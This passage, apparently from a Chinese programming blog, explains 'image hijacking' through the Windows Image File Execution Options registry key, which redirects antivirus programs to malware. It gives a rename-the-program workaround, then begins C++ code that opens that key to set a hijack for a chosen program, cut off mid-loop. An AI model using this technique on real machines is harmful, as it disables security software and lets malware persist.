VC++编程实现镜像劫持

解决VC++镜像劫持问题

最新推荐文章于 2024-10-17 12:05:47 发布

原创

最新推荐文章于 2024-10-17 12:05:47 发布 · 5.2k 阅读

2 ·

CC 4.0 BY-SA版权

这篇博客介绍了镜像劫持的概念，即通过修改注册表使得特定程序运行时启动病毒文件。针对这种情况，作者提供了一个简单易行的解决方案，即改变安全软件的程序名称，避免被镜像劫持利用。通过改名，即使电脑中了镜像劫持，也能让安全软件正常启动，从而进行查杀工作。

所谓的镜像劫持，就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项，例如Rav.exe。然后再创建一个子键“Debugger="C:\WINDOWS\system32\drivers\”。以后只要用户双击 Rav.exe就会运行OSO的病毒文件，类似文件关联的效果。
镜像劫持的简单解决方法

　　如果电脑上有杀毒软件或360什么的但是中了镜像劫持是安全软件无法运行的话，
　　其实只需要更改一下安全软件的名字就能不被镜像劫持利用，个人认为这是最适合初学者的最简单办法。
　　首先找到安全软件的位置大部分都放在program files文件夹下。找到名字例如拿360做例子原文件路径X:\Program Files\360safe原名为360Safe.exe 你把名字改为36015safe.exe(名字什么都行不过就不能是安全软件的名字)然后双击此安全软件就会过镜像劫持开始运行，后面的查杀就不需要说什么了吧。这小操作可以解决燃眉之急啦。

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
	char temp[256];
	DWORD ret;
	LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; //定义字符串指针，保存映像劫持的键位
	HKEY h_KEY;
	if(argc!=1)   //如果参数不是1个，提取第2个参数，也就是被劫持程序的路径
	{
		memset(temp,0,256);
		strcpy(temp,argv[1]);   
		for(int i=0;i<strlen(t